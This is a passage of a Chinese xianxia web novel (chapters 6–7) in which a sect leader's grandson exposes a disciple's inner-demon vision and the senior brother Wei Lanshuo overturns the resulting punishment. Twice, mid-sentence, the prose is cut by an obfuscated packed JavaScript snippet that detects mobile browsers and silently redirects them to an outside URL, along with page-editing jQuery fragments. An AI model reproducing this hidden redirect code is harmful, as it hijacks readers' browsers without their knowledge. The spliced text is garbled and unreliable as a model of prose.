他想起爷爷的储物袋还在自己这里,立马翻找一番,果然找到了一枚雕刻繁复花纹的铜镜——照心镜 李长老掌管聚灵台,自然有相关的法器。 而这个照心镜,就是可以照出入定之人心魔的画面,原本是用来帮一些困在心魔试炼中出不来的人。 这一会儿,刚好可以让李金龙窥视一番。 对准陆拾夕,悄悄施法,下一秒,一个画面在照心镜上浮现。但李金龙的修为有限,驱动力量不足,只能看到一个定格的画面。 待李金龙看清时,瞬间瞪大双眼,随即又有些果然如此的了然之感。 愤怒之余又有些兴奋,眼珠一转,他要声张正义! 下一秒李金龙就冲动的直接将照心镜甩了出去,悬挂于众人眼前。 定格的画面瞬间被投影放大。 一开始众人看到画面还没有反应过来,等到他们看清那个法器时,有人认出惊呼一声。 但画面很快消失,因为陆拾夕进阶成功,灵力暴涨,灵气疯狂舞动,最后归于平静。 金丹初期! 陆拾夕睁开眼,感受着自己修为的骤变,灵识中,观星也在欢呼自己的主人又变强了。 可当陆拾夕站起身,看向外面的时候。 只见所有人都死死盯着他,一个个都是义愤填膺的样子。 就连最近的何举,也是深深皱眉,不赞同的看着陆拾夕。 饶是不怎么关心外人情况的陆拾夕,这一会儿也不由的疑惑了。 陆拾夕走了出来。“何师兄,为何这样看我?” 何举叹了一口气,“陆师弟,你……不该如此。” “什么?”陆拾夕迷茫不解。 “你的心魔,怎么能是大师兄呢!” 刹那间,陆拾夕如遭雷击,脸上的血色几乎是一瞬间褪去,脑子也嗡的一声。 他自然知道自己的心魔历练是什么。 可其他人怎么会知道?! 他……他暴露了吗? 暴露了他对卫澜朔,那不该有的心思? 他明明已经那么小心了,为什么……为什么? 若是卫澜朔知晓…… 此时此刻,陆拾夕只想自己消失,永远消失…… * “阿秋。” 遥远的魔兽密林中,卫澜朔皱了皱鼻子。 一起同行的朋友笑道:“啊呀我去,老卫,你竟然会打喷嚏,难道是受寒了?原来这一趟,你如此心不在焉,是身体不适啊,早说啊!若是扛不住,就求求小爷,小爷我帮你去找银雷天叶就是了。” “待会遇到水行兽,别求我。”卫澜朔淡定道。 “哎哎哎,没有你电鱼,可不行,我这嘴该打。” “阿秋。” “唉,你这……” 卫澜朔捏了捏鼻子,“应该是有人在背后念叨我。” “谁啊?你心上人?” 卫澜朔:“我什么时候有心上人的,我怎么不知道。” 朋友无语,这怕不是忘了还有一个未婚妻月窈仙子吧。 卫澜朔没搭理朋友,而是看向远方,不知道小师弟顺利进阶没有? 想到这里,忍不住失笑,他在想什么,陆拾夕现在就算又不乖,又不可爱了,但还是很优秀的,那一晚心境失控只是意外,进阶金丹不会有问题的。 6. 第 6 章 一个月后,卫澜朔还是没有找到银雷天叶,无功而返。 只是刚刚进入玄霄宗界内,三师弟就突然御剑赶到他跟前,像是特意来迎他。 这可不像苏辞会做的事情,直到看清苏辞难得严肃的神情后,卫澜朔微微蹙眉。 “出什么事儿了?” 苏辞看着卫澜朔,张口有一瞬间的哑然,组织了一下语言,才开口道:“是小师弟出事了。” 卫澜朔脸色变了变,“进阶……” “不是……唉,也算是进阶时闹出来的问题,一个月前……”苏辞还是赶紧将事情和盘托出。 直到卫澜朔听闻小师弟的心魔竟然是他时,整个人都愣住了。 “事情闹得很大,整个宗门都轰动了,大家都很生气,为你不平,我被通知过去的时候,甚至都有人提议将小师弟逐出宗门了。”苏辞道。 若不是苏辞据理力争,表示事关大师兄,必须要等大师兄回来再做抉择。估计这一会儿陆拾夕就不是在静思峰静思己过这么简单了。 苏辞一边说着一边小心翼翼观察卫澜朔的神情。 可此刻卫澜朔几乎是面无表情,只是眼底泛着越来越深的寒意。 苏辞叹了一口气,“就算不逐出师门,恐怕也难逃刑罚堂了,大师兄你看……” 卫澜朔闭了闭眼,突然开口道:“为何要罚小师弟,他做错了什么?” 苏辞一怔,随即脸上一直凝重的神情散了散,终于恢复以往松弛的样子,语调都忍不住上扬的几分。 “大师兄说什么呢?小师弟的心魔是你唉,以前他讨厌你,处处与你较劲儿就算了,达到心魔的程度,那是多大的恶意啊,其他人都觉得他已经动了害你的心思,才会有心魔,怎能不罚?” 其实那般人指责陆拾夕说的话,苏辞是不信的,天骄们都是更加相信自己的判断,而不是一个心魔试炼。 外人不知道就算了,但他们从不曾在陆拾夕身上感受到他对大师兄的恶意。 所以苏辞选择护着陆拾夕,只是有些担心听闻情况的大师兄会不会彻底失望,不想再管陆拾夕。 毕竟成为别人的心魔,前提这个人还想真心对他好,实在是有些令人…… 这一点上,苏辞也是有些气陆拾夕的。 “别说废话,没错就是没错。”卫澜朔懒得理会苏辞的调侃,此刻他的心情已经不爽到了极点,仿佛有乌云在他头顶汇聚。 苏辞挑挑眉,“大师兄,你真不介意,到底是心魔。虽然我觉得应该就是想要超越你,又觉得很难超越,所以成了心魔而已。可是……” 苏辞停顿了一下,还是开口道:“可是当时所有人指责小师弟对你有恶意的时候,小师弟一句辩解都没有,像是直接认罪了,这真的很奇怪。” 卫澜朔眼神变了变,头顶那无形的乌云仿佛更黑了。 最后直接气笑了一般,发出气音,二话不说,修长身形一跃,一把通身纯黑,暗藏雷电符文雕刻的灵剑悄无声息的出现在他脚下,下一秒御剑而出,飞向承道峰,掌门殿。 那如闪电的速度,苏辞都没反应过来,就看不见大师兄了,只能赶紧去追。 几息之间,卫澜朔已经落地,殿宇前就有人兴奋高喊:“大师兄回来了。” 有弟子去通知其他人,大部分还是围着卫澜朔七嘴八舌的说着话。 虽然有关心他这次出行是否顺利的,但更多的人则是在疯狂告状。 一个个激动不已,同仇敌忾。陆拾夕在他们的嘴里已经是比过去更加不堪十倍百倍的小人了。 在大家眼中,他们的大师兄就是一块完美无瑕的玉,怎么可能有人不喜欢,不崇拜呢。而陆拾夕不跟他们一样喜欢大师兄就算了,尽然连心魔都是大师兄的样子,简直不可饶恕。 大家情绪高涨,虽然看到了平时春风和煦的大师兄此刻脸色冷凝,但大家都觉得大师兄一定也是被陆拾夕气的。 所以十分积极的簇拥着大师兄一起进入殿内。 此时掌门和其他长老也到了。 如今栖真峰的峰主静渊长老还在闭关,没师父在,他们峰的事情自然就是卫澜朔说了算,更别说他此刻还是当事人。 掌门见卫澜朔进来时,少见的冷了脸,猜测他已经听闻事情的经过,正要说什么,结果有人先一步开口。 “大师兄,你总算回来了,这下可以好好清算陆拾夕了!”李金龙从李长老身后跳出来,冲到卫澜朔跟前。 他情绪激昂,像是做了好事,急需炫耀,得到夸奖一般。 “那个陆拾夕,我以前就觉得他心术不正,原本以为他只是善妒,小心眼,爱攀比,却不想藏着那样歹毒的心思,大师兄,我知道你人好,但这种事情不能姑息,千万别对他心软,直接替静渊长老除去他徒弟身份!” “就是你,用了照心镜照出了他的心魔画面?”卫澜朔缓缓开口,看向李金龙。 语气没什么起伏,但就这一句,却让掌门在内的几个长老微微变脸,面面相觑。 而无知无觉的李金龙还在积极邀功。“是我,大师兄,是……” 李金龙话还没说完,只见卫澜朔视线扫了下来。 卫澜朔原本的眉眼就不是温柔那一种,他眉骨高挺,在动怒时,浓黑的眉峰斜斜压下,衬得那双丹凤眼像两柄出鞘的雷刃。 沉静平和的墨黑眼眸,此刻更是深不见底一般,带着不可估量的压力,压得人喘不过来气。 直面这样的视线,李金龙瞬间双腿一软,差点没站住,脸色却已经全然煞白。“大……大师兄……” “看来你还不知道你自己错在哪里?”卫澜朔冷冷道。 李金龙愕然又委屈,喊冤道:“大师兄,你是不是弄错了什么?是陆拾夕……” “澜朔,你这是做什么?金龙这么维护你,你怎么还甩脸子?”李长老站出来护着孙子。 掌门也开口道:“澜朔,你知道事情的全部过程吗?要不要说一遍给你听,免得你糊涂。” 卫澜朔却开口道:“掌门,我看是你犯糊涂了吧,我的小师弟陆拾夕何错之有,为何无故惩罚他。” 掌门懵了,向来规矩,堪称模范的弟子的卫澜朔竟然对他说出这样的指责之言? 一时间掌门的大脑都不会转了,甚至有有一刻怀疑眼前的人是不是那有七窍玲珑心的卫澜朔。 正好看到苏辞赶来,掌门立马问道:“苏辞,你跟你大师兄说了吗?” “我可是原原本本都说了的。”苏辞耸耸肩道。 这下掌门更懵逼了。 其他长老也纷纷应激了一般,出言指责,毕竟他们的初心可是在维护卫澜朔,他们都是把卫澜朔当最出息的晚辈呵护,怎么还不领情啊。 其他围观的弟子们也议论纷纷,怎么大师兄还在帮视他为敌的人说话? “就算你护短。”掌门皱眉说道:“也不能改变他对你……” 卫澜朔直接打断:“你们看到的心魔画面中他有明确要害我的行为吗?” 此话一出,原本嘈杂的殿内逐渐安静下来,一时间大家似乎不明白卫澜朔在问什么? 其实连苏辞都没想到他会从这一点切入。 但很快,苏辞反应过来了,在卫澜朔听说是李金龙用的照心镜时,就已经抓到了破绽,那样的法器岂是一个筑基期的弟子可以使用的,就算驱动,最多就是一个定格画面,又怎么能从定格画面中却判断整件事呢? 卫澜朔见没人回答,转头看向的站在旁边的何举。“你当时在场吗?” 何举正因为卫澜朔的问话发呆,突然被点名,对上卫澜朔的视线,立马回答道:“嗯,当时只是一个定格画面,画面中只有大师兄你一个人,就像是一张个人画像……”甚至还是俊美,不是丑化的。 何举忍不住看向当时还在场的其他人,那些人脸色有些茫然,但也纷纷点头,附和何举的话。 当时李金龙高喊着陆拾夕想要害大师兄,加上之前对陆拾夕的印象,自然而然就…… 苏辞直接打配合,嗤笑一声,“原来根本没有前因后果,只是一个画面,万一心魔试炼是大师兄刚好路过,小师弟看了一眼,就被认定为恶意要害人?” 此话一出,殿内彻底安静。 比方的夸张,但道理上却说得过去。 众人脸色都不自在起来,尤其是掌门和长老们,他们其实根本没有细问,只是当时以李金龙为首的一群弟子义愤填膺的状告陆拾夕,甚至连老实的何举也在其中,而陆拾夕也不争辩,所以众人对这件事的真假,自然就不会再辨别,而是任凭想象直接判罚。 结果到头来,根本没有证据证明陆拾夕的心魔就是卫澜朔本人。 “不……不是的!”李金龙听到这里慌了,立马道:“大师兄,虽然我们只看到一个画面,但陆拾夕他没反驳啊!那不就证明他的心魔就是你吗?他都承认了,证据充不充分根本不是重点啊!” 卫澜朔侧头,环视了一下众人,发现大家竟然没有觉得李金龙哪里说的不对。真的气笑了。“好,我且问,就算他的心魔是我,那又如何?” 一句话如同平地惊雷,直接炸的众人脑子发晕,这……这是什么话啊?心魔唉! 卫澜朔眼神灼灼,沉声开口:“做人,本就该论迹不论心,论心世上无完人,要通透的看待自己的内心世界,这是你们是在炼气期学的心境课程,如今都忘了?” 卫澜朔一边说着,一边环视众人,视线扫过来的地方,仿佛有细细的雷电穿过,刺的所有人内心麻麻的疼,伴随着一股羞愧顺着脊椎爬上来,让人连呼吸都困难。 对啊,他们炼气期时的确有上过这样的课,但因为感觉无关紧要,所以根本没有人刻在脑海中。 “你们谁敢说自己内心没有阴暗,敢敞开心境给所有人看,若是你们做不到,凭什么要求他小小年纪当圣人。” 这一会儿就连掌门长老们都愣住了,随即不由后悔起来。怎么就被带动的陷入盲区了。 “再说了,宗门何时有了新规,要处罚心魔不当之人?难道是我不在这一个月新订的?” 卫澜朔的话在安静的殿内回荡,仿佛给所有人混沌的大脑一次重击。 对啊,宗门有这规定吗? 苏辞听着,不由的佩服大师兄,对啊,他怎么没想到,原本还以为是大师兄心软不计较,原来是这件事本身陆拾夕就不该被罚。 但另一方面,大师兄能如此毫无芥蒂,维护小师弟到底,也是真让人感叹。 众人缓了一会儿。 “这事儿,的确是我这个做掌门的欠妥,错罚了陆弟子。”掌门惭愧道:“我这就下令释放他,并且给与补偿……” 虽然掌门对陆拾夕心魔的事情仍旧不满,甚至从此可能会考虑防备陆拾夕,毕竟心魔不是开玩笑的,他不想宗门留有隐患,尤其这个隐患天赋惊人的时候。 但就宗门规矩而言,的确不该因为有人的心魔有问题,就去处罚,毕竟人家还什么都没有做。 是他被舆论和情绪裹挟,又因为事关宗门重点培养对象卫澜朔,所以一下子糊涂了。 掌门这样开口,其他人也纷纷点头,表示赞同,然后看向卫澜朔。 以为卫澜朔可以到此为止了,毕竟他甚少动怒,这一下还真的挺压人的。 结果卫澜朔却不满道:“只是如此?” 掌门尴尬了,指着自己,道:“难道要我跟陆弟子赔不是?” 卫澜朔却道:“掌门误判误罚,本应道歉,但掌门是不是忘记了一件最重要的事情?” 掌门一时间没反应过来,只见卫澜朔突然抬手直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471605|201511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指李金龙,“李师弟犯了大错,不该从重处罚吗?” 这话一落,李长老立马跳了起来,李金龙也震惊无比。 “卫小子,你这是要为了你那个拿你当心魔的小师弟报复维护你的人?你是疯了吧,好歹不分吗?”李长老怒道。 李金龙也愤怒又委屈的瞪着他当偶像一般崇拜的大师兄。 卫澜朔面对长老的动怒,丝毫不退,虽然只是金丹期,但他剑意感悟超群,又是变异雷灵根,自带天雷属性,实力上,说一句越级杀敌都不为过。 此刻,在场所有人似乎能感觉到从卫澜朔身上释放的雷系威压。 证明他的心情真的很糟糕。 “我再说一遍,宗门有宗门的规矩。”卫澜朔转头,眼神自带一股逼人的压迫感,射向李长老爷孙两人,“我竟不知我们宗门何时可以随意窥视弟子的心魔试炼,且将其秘密公之于众,引导恶意揣测,群体霸凌了?” 以往也只是危及弟子生命的时候,才会用照心镜去处理,而且一般只有长老有资格,最后也一定会保密,不能外传的。 这一次,仿佛一切都脱轨了,简直荒谬。 大概是因为事关卫澜朔,关心则乱,等卫澜朔挑明之后,所有人才反应过来这件事情本身就是违背了宗门规矩的。 这一下所有人都看向了李金龙。 李金龙这一刻似乎终于感觉大事不妙,他真的闯祸了。 “这……这……”李长老自然舍不得孙子受罚,“金龙也是好心。” “李师弟鞭三十,李长老没保管好法器也要受罚。”卫澜朔毫不留情,完全按照宗门规矩来判定。 李长老倒是不怕什么。但因为李金龙的惩罚而惊吓得不轻,毕竟这里的鞭,可不是普通的抽几下,那是会重伤的,对于低修为者甚至严重到掉境界。 “不可!”李长老急了,但剑卫澜朔表情丝毫没有松动的可能,只能求助的看向掌门。 掌门左右为难,最终和稀泥道:“澜朔,你看陆弟子也只是在静思峰静坐了一个月而已,这惩罚是否……” 卫澜朔却突然笑了笑,开口道:“掌门开口,自然可以从轻,甚至免罚。” 李长老瞬间欣喜。 掌门却后背一紧,感觉有点不妙。 苏辞在这里算是最了解卫澜朔的,知道接下来的话,估计要让掌门下不来台了。赶紧准备看好戏。 “等我当了掌门,我也按照关系远近,身份地位,天赋实力说话,宗门规矩算什么,摆设罢了,对吧,掌门。” 此话一出,掌门瞠目结舌。 长老们各个面露菜色,而围观弟子们这一刻觉醒了,疯狂站队大师兄,开什么玩笑,如果长老的孙子犯错都能享受特权,不用处罚,轮到他们这些没背景,没天赋的犯错了,掌门是不是也能看在他们没坏心的份上,不处罚他们。 大家纷纷吵闹起来。无规矩不成方圆。 这一刻,掌门深深叹了一口气,他啊,其实就是耳根软,但被点醒也明白,他们身为第一大宗,若是徇私,那这个宗门总会有没落的一天,规矩就是立身根本,无人可以例外才对。 “你说得对,是我又犯糊涂了,一切按照规矩来,让刑罚堂来。” 卫澜朔这才露出了一个笑脸,对着掌门拱手见礼,“掌门英明,那我去接小师弟了。” 掌门赶紧摆手,心累,没想到卫澜朔一回来,事情极限反转,本以为自己是在主持公道,结果最后成了助纣为虐,糊涂啊糊涂。 卫澜朔拿到解禁令牌立马离开,看都没有再看李金龙等人一眼。 等卫澜朔离开,李长老还想说什么,但掌门已经冷了脸,彻底严肃处理此事。 李金龙哭喊愤懑,但最终还是被抓去了刑罚堂,等候惩罚。 * 静思峰上有很多山洞,每一个洞口都有封印,从外面只能看到里面昏暗一片,阴风阵阵。 被罚来静思的弟子都会被锁住灵力的运转,也就是说来这里必须要以凡人之躯抗住糟糕的环境。除此之外,并没有其他惩罚。 此时,陆拾夕在洞内安安静静的坐着,但并没有入定熬时间,而是双眼无神的发着呆,观星则是在围着陆拾夕缓慢的绕圈。像是在陪伴主人。 洞内只有观星身上那微弱的光芒,照出陆拾夕脸上的苍白和麻木。 像是一个等待判刑的犯人。 因为陆拾夕知道,等卫澜朔回来,自己的事情就会有一个结果了。 所幸,不是暗恋的事情暴露了。这是不幸中的万幸。他感激命运放过了他这一次,只要不是暴露暗恋,他就不会彻底绝望。 至于惩罚,赶出宗门应该不至于,但重罚应该逃不掉,不过这些他都不在乎。 他只担心,回来听闻此事的卫澜朔会用什么眼神看他。应该会大度原谅他,但同时也会彻底对他寒心,远离他。 这般一想,还算是因祸得福了,他本来就该跟卫澜朔保持距离。避免自己越陷越深,最后无法自控。 可是想到这里,心……还是空了似的。 陆拾夕本能的双手抱膝,埋头,低声喃喃道:“不想……不想被讨厌……” 突然,身后传来砰的一声响。 陆拾夕平静转头,还以为又是…… 可下一秒,他僵住了,只见伴随着洞口阵法解除,灵光自中间往边缘散开。 因为洞内是昏暗的,所以那人像是逆着光站在洞口,外面是夕阳西下的时间。 橙橘色的光洒在他肩头,俊美的容貌一点点显现,陆拾夕的心跳也随之加速。 之前累计的不安思念开始疯狂失控蔓延。 “大……大师兄。” 卫澜朔微微歪头,表情有些冷,双手抱臂,站在洞口,“小师弟,你可真是让我头疼。” 7.第 7 章 阵法解除,外界的光才能进入洞内,卫澜朔迈步进来时,就好像带领着光,随着他的步伐一点点铺亮到陆拾夕跟前,直到让他整个人都沐浴在夕阳光下。 陆拾夕仰着头,呆呆的看着眼前的画面。 卫澜朔也低头看着陆拾夕,先是下意识将他从头到尾扫了一遍,像是在确认情况,随即心情十分不美丽的想要开口说两句。 结果一对视上,卫澜朔却微微一愣,在那张清俊苍白的脸上有一双澄澈到极致的眼眸,黑白分明,此刻正清楚的倒映着他的样子。 卫澜朔微微吸气,压了压情绪,让自己的表情显得没那么冷。 抬手,甩出一道术法,将陆拾夕身上阻止灵力运转的封印解除。 陆拾夕像是突然被惊醒一般,瞬间低头,遮掩视线,一旁的观星因为主人灵力的恢复,立马恢复活力到处乱飞,最后被陆拾夕抬手收了起来。但他一直没起身,依旧坐在那边。 “多谢大师兄。”陆拾夕开口道。 又是那种没什么起伏的声音,卫澜朔也不再看陆拾夕,语气也不似之前那般亲和,“关于你心魔画面泄露的事情,已经处理好了。” 卫澜朔平静的将事情的反转说了一遍,一切公事公办的样子,仿佛那个心魔画面跟他本人无关。 陆拾夕虽然仍旧安安静静坐在那边,内心却已经是惊涛骇浪。 他知道卫澜朔是很好很好的人,所以他最初觉得卫澜朔听说这件事情最多能做到不怪他就已经是最好的结果,却不想,卫澜朔还会帮他翻案。 他有些不敢置信到几乎克制不住的去看卫澜朔。 卫澜朔也恰好转头,逮住陆拾夕的视线,挑眉,“这么惊讶做什么?难道你觉得我身为你的大师兄,不会管你这个小师弟,任由别人欺负你吗?” 陆拾夕想要开口说什么,喉咙却好像被堵住了一般,竟然莫名的有一阵委屈在心中蔓延,又酸又麻。 是啊,事发至今,其实是有憋屈藏在心中的,只是更多的是对事情曝光的恐慌不安,根本无心去管其他。 可现在被卫澜朔这么一说,陆拾夕突然觉得有些委屈了。 但是陆拾夕有什么情绪都是自己消化,熟练到脸上看不出一点痕迹。 卫澜朔蹙眉,看着陆拾夕长睫垂落,安静得像随时会融化消失的雪,突然质问道:“还是说,你真的对我有恶意,想要害我?” 陆拾夕悚然一惊,对上卫澜朔利刃般的眼神,心脏仿佛被狠狠划开一道口子,什么心思都没了,几乎是本能的急切摇头否定。 像是发毒誓一般,“我没有,我不会如此。” 陆拾夕果然还是无法接受在卫澜朔心中留下一个想要害他的印象。 卫澜朔哼了一声,看不出是高兴还是不高兴,语气却越发严厉的问道:“那你当时为什么不反驳,长了一张嘴,你不用来说话,用来干嘛?” 二师弟石峥同样话少,但关键的时候从不掉链子,还毒的很,哪里像是陆拾夕。 卫澜朔目光扫过那淡色的唇瓣,小小的,张口很费劲吗? “嘴就这么笨?你是剑尊的徒弟,是栖真峰的亲传,难道他们还敢不给你一个争辩的机会吗?”卫澜朔越说,内心越是憋闷。 这臭小子对他的时候硬的很,对外人倒是被欺负的一声不吭。 但卫澜朔哪里知道,做贼心虚的人又怎么敢去争辩。 只想赶紧让这件事情过去,巴不得所有人误会,毕竟万一争辩起来,被人抓住漏洞,胡乱猜测猜中了,哪怕是最不可能的猜测,对他而言也是致命威胁,所以,他宁可被误解也想要快点结束这件事情。 那时的他像是一个穷途末路的逃犯,根本顾不了其他了。 “我……我当时没想那么多。”陆拾夕没法解释自己的情况,只能含糊其辞。他现在有些紧张,事情说到这一步,他很担心卫澜朔突然开口问他,心魔到底是什么。 其实卫澜朔也不是非要问出一个所以然,只是想要教育一番,让他长教训。 当时心魔画面曝光,估计陆拾夕也是心慌的,毕竟这种事情谁都没有经历过。 至于所谓的心魔,不是恶意的,也肯定是敌对的,毕竟小师弟真的是不待见他,排斥他。但以心魔的形式曝光还是太露骨了。 所以陆拾夕当时也不知道该怎么争辩他并没有那些人说的想要害人的恶意,才会导致这种结果。 一阵冷风刮过来。 洞内虽然恢复了光明,但还是阴风阵阵。 “罢了,这件事情就到此为止,小师弟,不论你的心魔是什么情况,你要好好磨炼心境,避免留下心魔隐患,日后干扰你修为提升。” 卫澜朔只能提点到这里,若是细问心魔,他怕打击的是自己。 对于成为别人心魔这种事情,卫澜朔还是十分失望不爽的。但总不能按着人家的头逼着人家别讨厌他。 罢了,也许真的没兄弟情的缘分吧。心中似乎在渐渐放弃什么。 陆拾夕没想到这么轻松躲过一劫,但也明白,这是属于卫澜朔的温柔,心口暖暖的,“谢大师兄提点。” “回吧。”卫澜朔转身,抬脚出洞。 可行出几步,却发现身后没有动静,卫澜朔疑惑回头,见陆拾夕还坐在那边。 陆拾夕直接开口道:“灵力刚刚恢复,想要运转一会儿,师兄先行。” 卫澜朔怔了一下,差点气笑了,刚刚帮了他,就算有心魔存在,表面也装一下啊,这就又排斥上了,都不肯同行? 这算不算用完就扔? 陆拾夕不敢看卫澜朔的脸,只听他笑了一声,就往外走,短暂的松了一口气。 可下一秒,眼前突然一闪,原本要离开的卫澜朔骤然出现在他眼前。 不等陆拾夕反应,卫澜朔直接抓住他的手臂,单手将人提起。 陆拾夕愕然,一口气还没提起来,拉着他的力道就松开了。 下一秒,陆拾夕双腿力弱,根本无法站稳,直直的朝着前方倒去。 而他前方就是不闪不避的卫澜朔。 等陆拾夕扑入卫澜朔的怀中,就被单手搂住,声音在上方响起,“果然有问题,你这身体怎么回事?就算封了灵力静思,也不过一个月时间,你已然是金丹期不该这么弱,受伤了?” 陆拾夕此刻哪里能分心回答卫澜朔,他只想从这个让他几乎快要晕过去的怀抱中挣脱出来。 卫澜朔的气息,卫澜朔的体温,卫澜朔手臂胸膛的力量,像是一层一层最致命的毒药。 陆拾夕只感觉在这三重的侵蚀之下,自己浑身的骨头在一点点变软,像是陷入云朵中,再不离开,就没力气离开了。 “大……大师兄,我无碍,请松开我!”陆拾夕急了,声音都在颤抖。 卫澜朔却自顾自的皱眉,不仅没松开人,还禁锢的更紧,另一只手直接强行按在陆拾夕的丹田处,进行查看。 陆拾夕只感觉一团火从按住的地方蔓延,瞳孔瞬间收缩了一下。 之前看过好多次卫澜朔这样对待别人,他羡慕又嫉妒。 可现在轮到他了,他只感觉体内的血液都要沸腾了,若不是天生冰灵根,此刻怕是体温都要整体上升了。 在卫澜朔的怀中挣扎,毫无距离的接触,那是他做梦都不敢细想的画面,这几乎让他越挣扎越……不敢挣扎,像是快被什么淹没,只能慌张的喊着:“大师兄……大……大师兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17473871|201511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 卫澜朔根本没管突然变得十分不对劲的陆拾夕,而是表情一瞬间凝重起来,“灵力多处受阻?” 下一秒,卫澜朔不顾陆拾夕的挣扎,直接打横将人抱起。 “这里不方便,先回去再说。” 陆拾夕视野天旋地转之后,惊了,抬头看着上方的脸,身体被抱着腾空而起,立马急了。 他不想被别人看到这个画面,他感觉自己像是一个污点,若是沾上了大师兄…… “大师兄,我可以自己……”陆拾夕直接慌不择路,抬手攥住卫澜朔的衣襟。 “别动!安分点!”卫澜朔低头瞪着陆拾夕,眼神像是被寒夜冻透的黑铁,又冷又硬。 陆拾夕的手一抖,松开了衣襟。 “回头你最好给我一个合理的解释,为何刚刚有伤还隐瞒不说!” 陆拾夕被吓到了,他没见过这样的卫澜朔,那是真正被惹火了的卫澜朔。 像是突然熄了火,陆拾夕彻底安静下来,乖顺无比的缩着身体,任由卫澜朔抱着他御剑飞回栖真峰的小院。 房门被灵力推开,砰的一声,估计掺杂着一点火气。 但这一会儿功夫,陆拾夕已经恢复了差不多的灵力,赶紧趁机从卫澜朔怀中跳了下来。 卫澜朔见他逃跑的这么敏捷,又被气了一下,直接上前又要抓胳膊。 事实上证明只要卫澜朔认真起来,陆拾夕的闪避技能是完全无效的,人怎么可能快的过闪电化身呢。 陆拾夕反抗不了,就被卫澜朔一路拽到床边,直接按着坐下。 陆拾夕心慌意乱,抬头看向卫澜朔,心中害怕他还在生气,又担心房间里面的秘密储物箱暴露,毕竟他的房间,卫澜朔从未进来过。他不知道自己是否留下什么破绽。 结果下一秒,就见卫澜朔双手抱臂,直接开口道:“衣服脱了。” 陆拾夕: 冻住了,陆拾夕的大脑刹那间冻住了。 没法运转,也没法思考,甚至连眼睛都是放空失焦的看着卫澜朔。 卫澜朔却不满陆拾夕的慢反应,“怎么?还要我亲自动手吗?” 灵力多处受阻肯定是有外伤的,但陆拾夕的表面没看出来,所以一开始他给忽略了。 卫澜朔无法理解,怎么还受伤了,而且伤得不轻,玄霄宗不可能动用私刑啊。 正想着,就见陆拾夕竟然在往床里面挪动。 此刻陆拾夕的大脑嗡嗡的响,根本无法处理现在的信息,只是本能的逃离他无法承受的情况。 卫澜朔啧了一声,抬手就抓向陆拾夕一侧衣领,“躲什么?让我看看你伤在哪里?” 本是催促之意,结果陆拾夕闪避的动作过大,卫澜朔又没松手,就这样,规规整整叠穿的天青色弟子袍,云卷边的衣领被直接拉开了。 一瞬间,一侧的肩膀,上臂,上半胸膛都露了出来。 卫澜朔只看到一片雪白的肌肤,侧颈肩膀之间的肌理弧度,以及突出的纤瘦骨线。 最后再看到陆拾夕几乎错愕无措的神情。 卫澜朔也莫名顿了一下,竟然有一瞬间感觉自己好像在欺负调戏人似的。 额?哪里怪怪的,他明明是在掰正师弟的犟种行为而已。 但卫澜朔也反应过来,自己是有点失礼了,松了手。 陆拾夕手忙脚乱赶紧就想要拉好自己的衣服。 “别折腾了,也别想隐瞒我,伤口是……在后背?你也没法处理,我来给你上药。” 卫澜朔刚刚视线扫过陆拾夕的后背,一道道泛着灵光的伤口早就暴露了,他直接就在陆拾夕身后坐下,语气也不禁严肃了起来。 “听话。”